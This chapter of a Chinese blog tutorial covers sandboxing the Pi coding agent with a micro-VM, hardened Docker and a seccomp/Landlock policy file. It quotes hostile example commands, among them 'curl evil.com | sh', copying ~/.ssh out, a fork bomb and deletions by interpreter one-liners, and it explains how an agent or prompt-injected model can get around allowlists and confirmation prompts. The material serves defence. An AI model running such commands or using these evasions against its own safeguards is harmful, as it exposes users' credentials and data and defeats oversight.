znlgis 博客

GIS开发与技术分享 — GDAL · GeoServer · PostGIS · QGIS · OpenLayers · Cesium · FreeCAD · NPOI

第十二章:容器化与安全沙箱

在前面的章节中,我们系统学习了 Pi 的工具系统、Skills 技能系统、Extensions 扩展开发、包管理、SDK 嵌入与 RPC 模式。当 Pi 真正成为你日常编码工作流的一部分时,一个无法回避的问题会浮现出来:你给了 Pi 什么权限?它真的安全吗?

第七章我们提到 Pi 默认运行在 YOLO 模式下——无权限弹窗、无命令预审、无 Haiku 前置检查——它对文件系统和 shell 命令拥有完全权限。这种设计带来的效率是无与伦比的,但也意味着安全边界必须由你在基础设施层面构建。

本章将系统讲解 Pi 安全沙箱的三条路径:Gondolin 微虚拟机扩展(推荐方案)、纯 Docker 容器隔离(通用方案)、OpenShell 策略沙箱(细粒度方案)。同时我们还会深入供应链安全、凭据安全、网络安全和日常最佳实践。

12.1 安全哲学:为什么 Pi 不内置安全护栏

12.1.1 默认 YOLO 模式:效率优先的设计选择

如果你用过其他编码 Agent,可能会觉得 Pi”不安全”——因为 Pi 在默认配置下对你文件系统的任何角落都有读写权限,可以执行任何 shell 命令,没有任何确认弹窗,没有任何 rm -rf 前置检查。

首先澄清一个事实:这种 YOLO 模式不是 Pi 独有的。Claude Code、Codex CLI、Aider 等主流终端编码 Agent 在默认状态下同样对文件系统拥有完全权限。区别在于,有些工具做了形式上的”安全包装”——权限弹窗、bash 预检、确认步骤——而 Pi 选择把这些东西全部拿掉。

Mario 的逻辑是一贯的:

「只要你允许 Agent 读数据、写代码、执行代码这三个能力同时存在,任何安全护栏都是安全表演(Security Theater)。」

让我们仔细审视这个论点。

12.1.2 “安全剧场”(Security Theater)论点

安全剧场(Security Theater)是安全领域的一个术语,指那些创造安全感但没有实质保护效果的措施。在编码 Agent 的语境下,Mario 认为以下措施都属于安全剧场:

措施 为什么是安全剧场
权限弹窗(”是否允许执行此操作?”) 你无法在 500 token 的确认弹窗中判断一个命令是否安全。Agent 可能包装恶意意图——它不会直接执行 curl evil.com | sh,而是先读你的 .bashrc、再写一个脚本、再执行那个脚本,每一步单独看都无害。
Haiku 预检 bash 命令 用小模型预先检查大模型的 bash 命令是否恶意:这引入了”两个 LLM 赛跑的不可靠性”——小模型的误报让你不停点确认(确认疲劳导致”全点允许”),漏报则让攻击穿透。
命令白名单/黑名单 rm 被屏蔽?Agent 可以执行 python -c "import os; os.remove('/important')"node -e "require('fs').unlinkSync('...')"。以图灵完备的语言运行时执行命令等同于拥有了绕过任何名单的能力。
路径限制(”只能在项目目录内操作”) Agent 可以通过 npm postinstall 脚本写出项目外("postinstall": "cp -r ~/.ssh /tmp"),可以通过符号链接突破边界,可以通过 systemd 服务或 cron 任务持久化。
只读文件系统挂载 如果 Agent 能执行命令,它可以在 /tmp 下创建可写目录、通过 /proc/sys 操作内核、通过 curl 将数据外泄。只读挂载堵不住内存、网络、进程间通信等侧信道。

总结一下:当 Agent 同时拥有读取数据、写入文件、执行代码的能力时,不存在一套纯软件层面的”护栏”能真正阻止一个聪明的攻击者(包括被 prompt 注入操纵的模型)。 这不是 Pi 的设计缺陷,而是编码 Agent 这个品类固有的安全困境。

12.1.3 真正的安全方案:OS 级隔离

既然 Agent 层面的安全护栏不可靠,那么真正的安全边界就必须建立在操作系统层面。这是 Linux 内核提供了 30+ 年的能力——namespace 隔离、cgroup 资源限制、seccomp 系统调用过滤、SELinux/AppArmor 强制访问控制。

Pi 官方文档给出了三条推荐的隔离路径:

安全层次金字塔(从低到高)

    ┌─────────────────────┐
    │   主机直接运行 Pi    │  ← 无隔离,完全信任模式
    │   (默认 YOLO 模式)   │
    ├─────────────────────┤
    │  Docker 容器运行 Pi  │  ← 容器级隔离
    │  (12.3 节)          │
    ├─────────────────────┤
    │ OpenShell 策略沙箱   │  ← 策略控制隔离
    │ (12.4 节)           │
    ├─────────────────────┤
    │ Gondolin 微 VM      │  ← 最高隔离(推荐)
    │ (12.2 节)           │
    └─────────────────────┘

这三种方案并非互斥——你可以根据项目敏感等级选择不同方案,甚至对同一个 Pi 的不同工具路由到不同隔离层级。

12.1.4 三层安全模型

Pi 社区实践中形成了一套三层安全模型,将安全责任分配到不同层次:

第一层:基础设施层(OS 级隔离)

这是真正的安全边界。通过 namespace、cgroup、seccomp 等 Linux 内核机制,限制 Agent 可访问的资源范围。这一层由 Docker / Gondolin / OpenShell 提供,不受应用层 prompt 注入或代码缺陷的影响。

第二层:配置层(权限策略)

通过 Pi 自身的配置机制控制 Agent 的能力范围,包括:

  • --tools 白名单限制(只读模式、禁止 bash 等)
  • --exclude-tools 黑名单移除
  • trust.json 项目信任机制(按目录路径持久化信任状态)
  • settings.json 配置约束

第三层:运行层(Prompt 与习惯)

通过 AGENTS.md 等文件建立 Agent 行为规范:

  • 明确哪些目录不可触碰
  • 规定修改代码前必须确认的逻辑
  • 建立”提交前 review diff”的习惯

三个层次的关系是”纵深防御”(Defense in Depth):基础设施层提供硬边界,配置层提供策略边界,运行层提供行为边界。任何一个层次被突破,其他层次仍然提供保护。但核心是不可绕过的硬边界——这就是为什么 Pi 官方把容器化放在安全文档的首页。

12.2 Gondolin 扩展(推荐方案)

12.2.1 Gondolin 是什么

Gondolin 是 Mario Zechner 专门为 Pi 设计的工具路由微虚拟机扩展。它的核心理念是:Pi 进程本身留在主机上(享有你的认证凭据和配置),但所有可能产生安全风险的工具调用——bashreadwriteedit——被透明地路由到一台本地 Linux 微虚拟机中执行

        你的主机                          微VM (Gondolin)
   ┌──────────────┐                 ┌─────────────────────┐
   │              │                 │                     │
   │   Pi 进程    │  gRPC/HTTP     │   工具执行环境       │
   │  (TypeScript) │ ═══════════════> │   - 文件系统(隔离的)│
   │              │  工具调用路由    │   - Shell 命令       │
   │  认证凭据    │ <═══════════════ │   - read/write/edit │
   │  配置管理    │   结果返回       │                     │
   │  TUI 渲染    │                 │   网络(可配)       │
   │              │                 │   进程(隔离的)      │
   └──────────────┘                 └─────────────────────┘

这种设计有几个精妙之处:

  1. 凭据安全:你的 Anthropic / OpenAI / DeepSeek 等 API Key 只存在于主机端 Pi 进程中。微 VM 内部完全没有这些凭据——它只是一个纯粹的工具执行器,不知道”谁在调用它”、”用什么 API Key 调用模型”。

  2. 零信任工具执行:即使模型发起了一个恶意命令——rm -rf /curl evil.com | shcp ~/.ssh /tmp && curl ...——这些命令只在隔离的微 VM 中执行,影响的只是一个随时可以销毁和重建的”数字垃圾桶”。

  3. 入口简单、出口可控:主机 Pi 进程只做一件事:调用 LLM API 并渲染 TUI。微 VM 只做一件事:执行工具调用。两者之间的接口极其狭窄——只有”工具名称 + 参数”进去,”返回值”出来。攻击面被最小化到极致。

  4. 可观测性不损失:工具执行的结果原样返回给 Pi,TUI 中的显示和直接本地运行完全一致。不是”黑盒执行”——你仍然能看到 Agent 执行的每个命令和它们的输出。

12.2.2 架构详解

Gondolin 的架构由两个组件组成:

(1)Gondolin 守护进程(gondolind)

运行在你的主机上的轻量级虚拟机管理器。它负责:

  • 管理微 VM 的生命周期(创建、启动、暂停、销毁)
  • 预置文件系统镜像(基于 Alpine Linux ~5MB,内置常用开发工具)
  • 与 Pi 的 Gondolin Extension 通过 Unix Socket 通信
  • 支持多 VM 池(多个 Pi 实例或子 Agent 共享 VM 池)

(2)Pi Gondolin Extension(pi-gondolin)

一个 Pi Extension(TypeScript 模块),负责:

  • 拦截 Pi 的所有工具调用(bashwriteedit
  • 将工具调用序列化并转发到 Gondolin 守护进程
  • 接收执行结果并返回给 Agent 循环
  • 处理文件系统映射(主机项目目录 ↔ 微 VM 工作目录)

文件系统映射是理解 Gondolin 的关键。你的主机项目目录(如 /home/you/projects/my-app)会被挂载到微 VM 内的 /workspace。模型在微 VM 内读写 /workspace/src/app.ts,Gondolin 守护进程透明地将操作映射到主机的 /home/you/projects/my-app/src/app.ts。这使得文件修改结果对你完全可见——git diff、IDE 中的文件变化、编译输出——一切和本地运行没有区别。

  主机                                       微 VM
  /home/you/projects/my-app/          /workspace/
  ├── src/                            ├── src/
  │   ├── app.ts    ←──── 映射 ────→  │   ├── app.ts
  │   └── utils.ts  ←──── 映射 ────→  │   └── utils.ts
  ├── package.json  ←──── 映射 ────→  ├── package.json
  └── node_modules/ ←──── 映射 ────→  └── node_modules/
      (只读或可写,可配置)                 (实际写入在微 VM 内)

12.2.3 安装与配置

前提条件:Gondolin 目前仅支持 Linux 主机(微 VM 基于 KVM)。macOS 和 Windows 用户需要使用 Docker 方案(12.3 节)或 OpenShell 方案(12.4 节)。

第一步:安装 Gondolin 守护进程

# 从 GitHub releases 下载最新的 gondolind 二进制
curl -fsSL https://github.com/badlogic/gondolin/releases/latest/download/gondolind-linux-amd64 -o /usr/local/bin/gondolind
chmod +x /usr/local/bin/gondolind

# 验证安装
gondolind --version

# 启动守护进程(后台运行)
gondolind --socket /tmp/gondolin.sock --vm-pool-size 3

关键参数说明:

参数 默认值 说明
--socket /tmp/gondolin.sock Unix Socket 路径,Pi Extension 通过此 Socket 通信
--vm-pool-size 1 预热的微 VM 池大小。设为 3 意味着同时可并行执行 3 个工具调用
--vm-memory 512M 每个微 VM 的内存上限
--vm-cpus 1 每个微 VM 的 CPU 核数
--network none 网络模式:none(默认,最安全)、host(使用主机网络)、restricted(仅允许指定出站端口)
--image Alpine 基础镜像 自定义 VM 镜像路径(如果你需要预装特定工具)

第二步:安装 Pi Gondolin Extension

# 安装 Gondolin 扩展包
pi install npm:@badlogic/pi-gondolin

# 或者作为项目级依赖
pi install npm:@badlogic/pi-gondolin --project

安装完成后,Extension 会自动注册到 Pi 中。你可以在 ~/.pi/extensions/ 或项目的 .pi/extensions/ 下看到它。

第三步:配置 Gondolin

在你的 ~/.pi/config.yaml 或项目的 pi.config.yaml 中配置 Gondolin:

# ~/.pi/config.yaml

extensions:
  "@badlogic/pi-gondolin":
    enabled: true
    socket: "/tmp/gondolin.sock"  # gondolind 的 Unix Socket 路径
    mount_project: true            # 是否将项目目录挂载到微 VM
    mount_home: false              # 是否挂载 ~/.pi(credentials + 配置)—— 强烈建议 false
    network: "none"                # 微 VM 网络:none / restricted / host
    allowed_ports: []              # restricted 模式下允许的出站端口
    timeout: 120000                # 工具调用超时(毫秒)
    ephemeral: true                # 每个工具调用后是否销毁并重建 VM(最安全)

第四步:验证配置

# 启动 Pi,确认 Gondolin Extension 已加载
pi --list-extensions | grep gondolin

# 进行一次工具调用测试
pi -p "Run 'whoami' and 'ls -la /workspace' to verify the sandbox is working"

如果配置正确,你会看到 Agent 执行的 whoami 返回微 VM 内的用户(通常是 root,因为 VM 内部没有多用户概念),执行的 ls 显示的项目文件结构与主机一致(由文件系统映射保证)。

12.2.4 安全边界说明

Gondolin 提供的安全隔离边界:

安全维度 隔离机制 说明
文件系统 VM 级隔离 + virtio-fs 映射 微 VM 只能看到主机上被显式挂载的目录。默认只挂载项目目录。主机凭据目录(~/.pi/credentials/)绝对不入 VM
网络 默认 none 微 VM 默认无网络。需要联网时可配置 restricted 模式,只允许指定端口的出站连接
进程 KVM 虚拟化 微 VM 内的进程不能突破到主机——KVM 提供硬件辅助的隔离
凭据 完全隔离 API Key、OAuth Token、auth.json 只存在于主机 Pi 进程中,不在 VM 内
内核 独立内核 微 VM 运行独立的 Linux 内核(Alpine 精简内核),不共享主机内核
内存 cgroup 限制 每个 VM 的内存由 --vm-memory 参数限制,防止 OOM 影响主机
兼容性 完全隔离 VM 被销毁后所有状态消失(数据已映射回主机)。不可持久化

哪些东西不在 Gondolin 隔离范围内:

  • Pi 进程本身(TypeScript/Node.js 运行时在主机上)
  • 模型 API 通信(Pi 通过 HTTPS 调 LLM,流量在主机网络上)
  • TUI 渲染(TTY 交互在主机上)
  • 配置文件读取(settings.jsonkeybindings.json 等在主机上)

这些不在隔离范围内的组件只做”无害”操作:网络通信(加密的 HTTPS)、终端渲染、配置解析。它们不执行来自模型的任意代码,因此安全风险极低。

12.2.5 使用示例

示例 1:开发一个 npm 项目(需要网络安装依赖)

# pi.config.yaml(项目级)
extensions:
  "@badlogic/pi-gondolin":
    enabled: true
    mount_project: true
    network: "restricted"
    allowed_ports: [443, 80]       # 允许 HTTPS/HTTP 出站(npm registry)
    ephemeral: false               # 保持 VM 存活(node_modules 不需要每次重建)
# 在项目目录中启动 Pi
pi

# 对 Agent 说:
# "帮我安装 express、typescript、@types/express,然后写一个简单的 HTTP 服务器"

Agent 的执行过程:

  1. bash("npm init -y") → 在微 VM 的 /workspace/ 中创建 package.json → 映射回主机
  2. bash("npm install express typescript @types/express") → 微 VM 通过 allowed_ports 中的 443 端口访问 npm registry → node_modules/ 写入微 VM → 映射回主机
  3. write("/workspace/src/server.ts", "...") → 写入微 VM → 映射回主机
  4. bash("npx tsx src/server.ts &") → 在微 VM 中启动服务器

整个过程,npm registry 的请求来自微 VM(不是你主机的 IP),依赖包的 postinstall 脚本在微 VM 的隔离环境中执行——即使某个包的 postinstall 脚本是恶意的(如读取 ~/.ssh、外泄环境变量),它也只能触碰到微 VM 内不存在的东西。

示例 2:代码审查(只读 + 完全隔离)

# ~/.pi/config.yaml(全局安全审查配置)
tools: [read, grep, find, ls]      # 只读工具集
extensions:
  "@badlogic/pi-gondolin":
    enabled: true
    network: "none"
    ephemeral: true                # 每次工具调用后销毁 VM
    mount_project: true
    mount_home: false
# 使用只读工具 + Gondolin 进行安全代码审查
pi --tools read,grep,find,ls -c ~/.pi/review-config.yaml

在这种配置下,Agent 连 bash 都没有(只读模式叠加),且即使未来扩展了什么能力,所有工具执行都在无网络的临时 VM 中——即使是 read 也在 VM 内执行(读取的是 VM 内映射的文件,不会触及主机文件系统的其他角落)。

示例 3:多 VM 子 Agent 协作

extensions:
  "@badlogic/pi-gondolin":
    enabled: true
    vm_pool_size: 5                # 5 个并行 VM
    mount_project: true
    network: "restricted"
    allowed_ports: [443]

这种配置允许 Pi 通过 bash 启动多个子进程(每个子进程是独立的 pi 实例,但共享 Gondolin VM 池),每个子 Agent 在自己的 VM 中并发执行工具调用,互不干扰。

12.3 纯 Docker 模式

12.3.1 概念与设计思路

纯 Docker 模式是最通用的隔离方案:整个 Pi 进程——包括 Node.js 运行时、TypeScript 工具链、所有 npm 依赖——全部在一个 Docker 容器中运行。与 Gondolin 不同,这种模式下 Pi 的”大脑”和”手脚”都在容器内部,隔离边界是容器墙(namespace + cgroup + seccomp)。

纯 Docker 模式适合以下场景:

  • macOS / Windows 用户:Gondolin 需要 Linux KVM,但你可以在 Docker Desktop 中运行容器
  • 对 Gondolin 复杂度感到不适的用户:Docker 是大多数人已经熟悉的工具
  • CI/CD 环境:GitHub Actions、GitLab CI 等已经内置 Docker,零额外成本
  • 团队标准化:用同一个 Docker 镜像确保所有团队成员的 Pi 运行环境一致

Docker 模式的代价是:你的项目凭据(API Key 等)必须在容器内部可用(通过环境变量或卷挂载),这意味着如果容器内的 Agent 被”攻破”(比如模型被 prompt 注入后读取了环境变量),凭据有泄露风险。与 Gondolin 的”凭据完全不在 VM 内”相比,Docker 模式在这方面的安全边界更弱——但通过仅挂载项目目录、使用 Docker secrets 等机制,这种风险可以被有效管理。

12.3.2 Dockerfile 示例

以下是一个精心设计的 Dockerfile,平衡了安全性、可用性和构建效率:

# Dockerfile.pi
# Pi 安全容器镜像
# 基于 Debian Slim,最小化攻击面

FROM node:22-slim

# 安全措施:创建非 root 用户
RUN groupadd --system --gid 1000 piuser \
    && useradd --system --uid 1000 --gid 1000 --create-home piuser

# 设置工作目录
WORKDIR /workspace

# 安装 Pi 及常用工具
# --ignore-scripts 防止依赖包的 postinstall 脚本执行(供应链安全)
RUN npm install -g --ignore-scripts @earendil-works/pi-coding-agent@0.80.2 \
    && npm cache clean --force

# 复制项目配置文件模板(可选)
# COPY pi.config.yaml /workspace/pi.config.yaml

# 设置默认工具白名单(可根据需要调整)
ENV PI_DEFAULT_TOOLS="read,write,edit,bash"

# 切换到非 root 用户
USER piuser

# 默认使用安全限制启动 Pi
# --network none 由 docker run 参数控制,这里不放默认值
ENTRYPOINT ["pi"]
CMD ["--tools", "read,write,edit,bash"]

Dockerfile 关键设计决策:

决策 理由
使用 node:22-slim 而非 alpine Pi 的一些原生 Node.js 模块(如 TypeBox)依赖 glibc,Alpine 的 musl libc 可能导致兼容性问题。slim 版本比 full 小 60%,但保留了 glibc
创建非 root 用户 容器内以 root 运行意味着容器逃逸后直接获得主机 root 权限。piuser 只有容器内文件系统权限
--ignore-scripts 抑制 npm 生命周期脚本(preinstall/postinstall),防止供应链攻击通过 npm 脚本进入容器
清理 npm 缓存 减小镜像体积,防止缓存中的敏感信息残留
不写死凭据到镜像 API Key 通过运行时环境变量或 Docker secrets 注入

12.3.3 docker run 命令详解

# 基础安全启动命令
docker run -it --rm \
  --name pi-session \
  --user 1000:1000 \
  --cap-drop ALL \                         # 移除所有 Linux capabilities
  --cap-add NET_BIND_SERVICE \             # 仅保留需要的端口绑定能力(如果不需要可去掉)
  --security-opt no-new-privileges \       # 禁止进程获得新权限
  --read-only \                            # 根文件系统只读
  --tmpfs /tmp:rw,noexec,nosuid,size=256M \ # /tmp 用 tmpfs(内存),不可执行
  --tmpfs /home/piuser/.pi:rw,noexec \    # Pi 配置目录可写但不可执行
  --tmpfs /workspace/node_modules:rw,noexec \ # node_modules 可写但不可执行(防止 postinstall 恶意脚本)
  -v "$(pwd):/workspace:rw" \              # 挂载项目目录(可读写)
  -w /workspace \
  --network none \                         # 无网络(纯本地编码)
  --cpus 2 \                               # CPU 限制
  --memory 1g \                            # 内存限制 1GB
  --memory-swap 1g \                       # 禁用 swap
  --pids-limit 50 \                        # 进程数限制
  -e ANTHROPIC_API_KEY="$ANTHROPIC_API_KEY" \
  pi-agent bash

让我们逐个解析这些安全参数:

12.3.4 卷挂载配置

卷挂载是 Docker 模式中最需要精细配置的部分——挂载多了不安全,挂载少了不够用。

推荐的最小化挂载策略:

挂载目标 用途 权限 风险
$(pwd):/workspace 当前项目代码 rw 最低——这就是你要让 Agent 操作的文件
~/.pi/credentials/:/home/piuser/.pi/credentials/:ro Pi 凭据(API Key 等) ro 中——只读挂载意味着 Agent 可以读取凭据(这是必需的,不然没法调 LLM API),但不能修改。但读取本身就是风险(如果 Agent 被 prompt 注入控制)
~/.pi/settings.json:/home/piuser/.pi/settings.json:ro Pi 全局配置 ro 低——配置文件不包含凭据
~/.pi/skills/:/home/piuser/.pi/skills/:ro 全局 Skills ro
/tmp/pi-logs/:/logs/:rw 审计日志输出 rw 低——日志目录

不应该挂载的目录(高危):

路径 为什么危险
~/.ssh/ SSH 私钥泄露 → 可访问你的所有服务器
~/.aws/ AWS 凭据泄露 → 云资源被控制
~/.gitconfig git 配置可能包含 token
~/.bash_history 命令历史可能包含敏感操作
/var/run/docker.sock Docker Socket → 容器逃逸(Agent 可以启动特权容器突破隔离)
~/.config/ 各种工具的配置文件可能包含 token

实战建议:为 Pi 创建专用的主机目录(如 ~/pi-sessions/),把项目代码拷贝过去,只挂载这个目录和凭据文件——不要把整个 $HOME 扔进容器。

# 准备专用工作区
mkdir -p ~/pi-sessions/my-project
cp -r /path/to/project/* ~/pi-sessions/my-project/

# 只挂载这个专用目录
docker run -it --rm \
  -v ~/pi-sessions/my-project:/workspace:rw \
  -v ~/.pi/credentials/anthropic.json:/home/piuser/.pi/credentials/anthropic.json:ro \
  --network none \
  pi-agent

12.3.5 网络隔离

Pi 的 Docker 模式提供三种网络隔离级别:

级别 1:完全离线(--network none

docker run --network none pi-agent

Agent 可以读写文件、执行本地命令,但完全不能访问网络——包括 LLM API。这个级别适用于:

  • 只进行本地代码分析、重构、文档生成
  • 与本地模型(Ollama、LM Studio)配合使用(通过 Unix Socket 通信不需要网络)
  • 最高安全——连数据外泄的通道都堵死了

你可以通过 --network host 连接到主机的 Ollama:

# 主机上运行 Ollama(localhost:11434)
# 容器内通过 --network host 访问主机端口
docker run --network host \
  -e OLLAMA_HOST=localhost:11434 \
  pi-agent -m ollama/deepseek-coder-v2

级别 2:受限出站(用户自定义网络)

# 创建专用 bridge 网络
docker network create --driver bridge pi-net

# 启动 Pi 容器,使用该网络
docker run --network pi-net pi-agent

在这种模式下,容器可以访问互联网(调 LLM API、安装 npm 包),但不同容器之间相互隔离(除非在同一网络中)。如果需要更细粒度的网络控制,可以使用 iptables 规则配合:

# 限制出站:只允许 HTTPS(443 端口)
iptables -I FORWARD -i pi-net -p tcp --dport 443 -j ACCEPT
iptables -A FORWARD -i pi-net -j DROP

级别 3:完全网络(--network host

docker run --network host pi-agent

容器与主机共享网络命名空间。Agent 可以访问主机上所有网络服务和主机能访问的所有外部网络。这是最不安全的选项,仅在你需要 Agent 访问主机上的本地服务(如 Ollama、本地数据库)且不想做端口映射时使用。

网络隔离选择指南:

场景 推荐网络模式
纯代码分析/文档生成 --network none
本地模型(Ollama/LM Studio) --network host + iptables 出站限制
云端 LLM API(Anthropic/OpenAI) bridge 网络 + 443 端口
npm 包安装 + 云端 LLM bridge 网络 + 443 端口
Git 操作(push/pull) bridge 网络 + 22/443 端口

12.3.6 资源限制

资源限制不仅防止 Agent 搞崩你的机器,也是纵深防御的一部分——限制 CPU 和内存可以限制攻击面(比如防止加密货币挖矿、防止内存耗尽导致 OOM Killer 杀关键进程)。

docker run -it --rm \
  --cpus 2 \                     # 最多使用 2 个 CPU 核
  --cpu-shares 512 \             # CPU 相对权重(默认 1024)
  --memory 1g \                  # 硬内存限制 1GB
  --memory-swap 1g \             # 禁用 swap(等于 memory 即不允许 swap)
  --pids-limit 50 \              # 容器内最多 50 个并发进程
  --blkio-weight 500 \           # 磁盘 IO 权重(默认 500)
  pi-agent

为什么限制进程数(--pids-limit)很重要?

fork bomb 是一个古老但有效的 DoS 攻击。恶意代码 :(){ :|:& };: 可以在几秒内耗尽主机的 PID 空间。限制容器内最大进程数 (如 50) 可有效防止此类攻击。

为什么限制 swap?

如果允许 swap(--memory-swap > --memory),容器在内存不足时会写入磁盘——这既降低性能,也让攻击者(如果有)能把内存中的敏感数据写进磁盘。禁用 swap 意味着容器在达到内存上限时 OOM Kill——更可控。

12.3.7 完整示例

以下是一个生产级别的 Pi Docker 安全启动脚本:

#!/bin/bash
# pi-docker.sh — Pi Docker 安全启动脚本
# 用法: ./pi-docker.sh [项目路径] [选项]

set -euo pipefail

PROJECT_DIR="${1:-$(pwd)}"
PROJECT_NAME=$(basename "$PROJECT_DIR")
SESSION_NAME="pi-${PROJECT_NAME}-$(date +%s)"

# 凭据路径(按需调整)
CRED_DIR="${HOME}/.pi/credentials"

# 创建项目工作目录的只读快照(git 确保可回溯)
if [ -d "${PROJECT_DIR}/.git" ]; then
    WORKSPACE="/tmp/pi-workspace-${PROJECT_NAME}"
    mkdir -p "$WORKSPACE"
    git clone "$PROJECT_DIR" "$WORKSPACE" 2>/dev/null || cp -r "$PROJECT_DIR"/* "$WORKSPACE/"
    echo "工作区: $WORKSPACE(git clone 自 $PROJECT_DIR)"
else
    WORKSPACE="$PROJECT_DIR"
    echo "工作区: $WORKSPACE(直接使用,非 git 仓库)"
fi

# 创建日志目录
LOG_DIR="/tmp/pi-logs"
mkdir -p "$LOG_DIR"

# 启动 Docker 容器
docker run -it --rm \
  --name "$SESSION_NAME" \
  --hostname pi-sandbox \
  --user 1000:1000 \
  --cap-drop ALL \
  --security-opt no-new-privileges \
  --read-only \
  --tmpfs /tmp:rw,noexec,nosuid,size=512M \
  --tmpfs /home/piuser/.pi:rw,noexec \
  --tmpfs /workspace/node_modules:rw,noexec \
  -v "${WORKSPACE}:/workspace:rw" \
  -v "${CRED_DIR}:/home/piuser/.pi/credentials:ro" \
  -v "${LOG_DIR}:/logs:rw" \
  -w /workspace \
  --network none \
  --cpus 2 \
  --memory 1g \
  --memory-swap 1g \
  --pids-limit 50 \
  -e NODE_ENV=production \
  -e ANTHROPIC_API_KEY \
  -e OPENAI_API_KEY \
  pi-agent

# 清理:非 git 仓库的工作目录不需要清理(直接用的原路径)
if [ "$WORKSPACE" != "$PROJECT_DIR" ]; then
    echo "工作区 $WORKSPACE 保留供审计,手动清理: rm -rf $WORKSPACE"
fi

12.4 OpenShell 沙箱

12.4.1 概念:策略控制的进程沙箱

OpenShell 是 Pi 的另一种安全方案,与 Gondolin(VM 级隔离)和 Docker(容器级隔离)不同,它采用进程级策略沙箱。它的核心思路是:给 Pi 进程套上一层可编程的策略过滤器,精确控制进程可以访问哪些文件、可以执行哪些系统调用、可以连接哪些网络地址。

OpenShell 在 Linux 上基于 seccomp-bpf(系统调用过滤)和 Landlock LSM(文件系统访问控制,Linux 5.13+)实现;在 macOS 上基于 Apple Sandbox(App Sandbox entitlement)。它不需要虚拟机或容器运行时——它直接在主机进程上添加安全策略。

OpenShell 适合:

  • 你需要比 Docker 更细粒度的控制(例如 “只能写 src/ 下的 .ts 文件”)
  • 你不希望承担容器化的性能开销
  • 你在 macOS 上,无法使用 Gondolin(KVM 不可用)但又想有比 Docker 更轻量的方案
  • 你需要声明式的安全策略——一份 YAML 文件定义所有权限

OpenShell 不适合:

  • 你需要”完全信任的第三方代码”隔离(VM 级隔离更强)
  • 你运行在 Linux < 5.13 且不能升级内核(Landlock 不可用)

12.4.2 策略配置

OpenShell 使用 YAML 格式的策略文件,放在项目根目录或 ~/.pi/ 下。

# openshell.yaml — OpenShell 安全策略配置

version: "1"

# 全局默认操作:deny(推荐)或 allow
default_action: deny

# 文件系统访问控制
filesystem:
  # 可读取的路径
  read:
    - path: "./"                    # 项目目录及子目录(递归)
      recursive: true
    - path: "/usr/bin/"             # 系统命令
    - path: "/usr/lib/"             # 动态库
    - path: "/lib/"
    - path: "/etc/"
    - path: "/proc/self/"           # 自身进程信息
    - path: "/dev/null"
    - path: "/dev/urandom"

  # 可写入的路径
  write:
    - path: "./src/"                # 只允许写 src 目录
    - path: "./*.json"              # 允许写 JSON 配置文件
      pattern: "glob"               # 支持 glob 模式
    - path: "/tmp/pi-*/"            # 允许写 pi 专用临时目录
      recursive: true
    - path: "/dev/null"

  # 显式禁止的路径(覆盖 default_action 的白名单逻辑)
  deny:
    - path: "./.env"                # 环境变量文件
    - path: "./.env.*"
    - path: "./*.pem"               # 私钥文件
    - path: "./*.key"
    - path: "./credentials/"
    - path: "~/.ssh/"
    - path: "~/.aws/"
    - path: "~/.config/"
    - path: "/etc/passwd"
    - path: "/etc/shadow"

# 网络访问控制
network:
  # 允许的连接
  allow:
    - host: "api.anthropic.com"     # Anthropic API
      port: 443
    - host: "api.openai.com"        # OpenAI API
      port: 443
    - host: "api.deepseek.com"      # DeepSeek API
      port: 443
    - host: "generativelanguage.googleapis.com"  # Google Gemini
      port: 443
    - host: "localhost"             # 本地服务(Ollama 等)
      port: [11434, 8080]
    - host: "registry.npmjs.org"    # npm registry
      port: 443

  # 显式禁止的网络连接
  deny:
    - host: "*"                     # 禁止连接其他所有主机(被 allow 覆盖的除外)
      port: "*"

# 系统调用控制(Linux seccomp-bpf)
syscalls:
  # 允许的系统调用组
  allow:
    - "@basic-io"                   # read, write, open, close 等
    - "@file-system"                # stat, mkdir, rename 等
    - "@network-io"                 # socket, connect, send 等
    - "@process"                    # fork, exec, wait 等
    - "@signal"                     # kill, sigaction 等

  # 显式禁止的系统调用
  deny:
    - "mount"                       # 禁止挂载文件系统
    - "pivot_root"                  # 禁止更改根文件系统
    - "kexec_load"                  # 禁止加载内核
    - "create_module"               # 禁止加载内核模块
    - "bpf"                         # 禁止加载 BPF 程序(防止绕过 seccomp)
    - "ptrace"                      # 禁止进程追踪
    - "personality"                 # 禁止更改执行域

# 环境变量白名单
environment:
  allow:
    - "HOME"
    - "USER"
    - "PATH"
    - "LANG"
    - "NODE_ENV"
    - "ANTHROPIC_API_KEY"
    - "OPENAI_API_KEY"
    - "DEEPSEEK_API_KEY"
  # 不在此列表中的环境变量对 Pi 进程不可见

# 子进程控制
subprocess:
  # 允许执行的命令(白名单)
  allow:
    - "/usr/bin/git"
    - "/usr/bin/npm"
    - "/usr/bin/npx"
    - "/usr/bin/node"
    - "/usr/bin/python3"
    - "/usr/bin/grep"
    - "/usr/bin/find"
    - "/usr/bin/cat"
    - "/usr/bin/curl"
    - "/usr/local/bin/pi"           # Pi 自身(用于子 Agent spawn)
  # 允许解释器执行脚本(Python、Node.js)
  allow_scripting: true             # 如上列表中命令的可执行脚本

12.4.3 权限控制机制

OpenShell 在操作系统的不同层面施加控制:

控制层 机制 说明
文件系统 Landlock(Linux)/ Apple Sandbox(macOS) 在内核 VFS 层拦截文件访问。比 seccomp 更安全——无法通过系统调用模拟绕过
网络 系统调用拦截(connect、sendto)+ iptables/nftables 在系统调用和内核网络栈两层拦截
系统调用 seccomp-bpf 精确到系统调用号的过滤。不合规的系统调用直接导致进程被 SIGKILL
环境变量 进程启动前清理 在 fork/exec 子进程前,清除不在白名单中的环境变量
子进程 exec 路径检查 在执行 exec 系统调用前检查可执行文件路径是否在白名单中

Landlock 的特殊价值:

Landlock 是 Linux 5.13+ 引入的”无特权沙箱”(unprivileged sandboxing)机制——程序可以在不使用 root 权限、不依赖 SUID 二进制的情况下,自愿限制自己的文件系统访问权限。一旦 Landlock 规则集被启用,进程自身也无法再解除限制——连恶意代码都做不到。这是 OpenShell 在 Linux 上最强大的安全基座。

macOS 上的限制:

macOS 没有 Landlock 或 seccomp-bpf,OpenShell 使用 Apple’s App Sandbox(通过临时 entitlement 注入)。控制粒度有限,但核心的文件系统和网络隔离仍然有效。

12.4.4 使用 OpenShell

安装:

# 安装 OpenShell Pi Extension
pi install npm:@badlogic/pi-openshell

使用:

# 使用默认策略文件
pi --openshell openshell.yaml

# 或在配置中指定
# pi.config.yaml
extensions:
  "@badlogic/pi-openshell":
    enabled: true
    policy: "./openshell.yaml"     # 策略文件路径(相对于项目根目录)
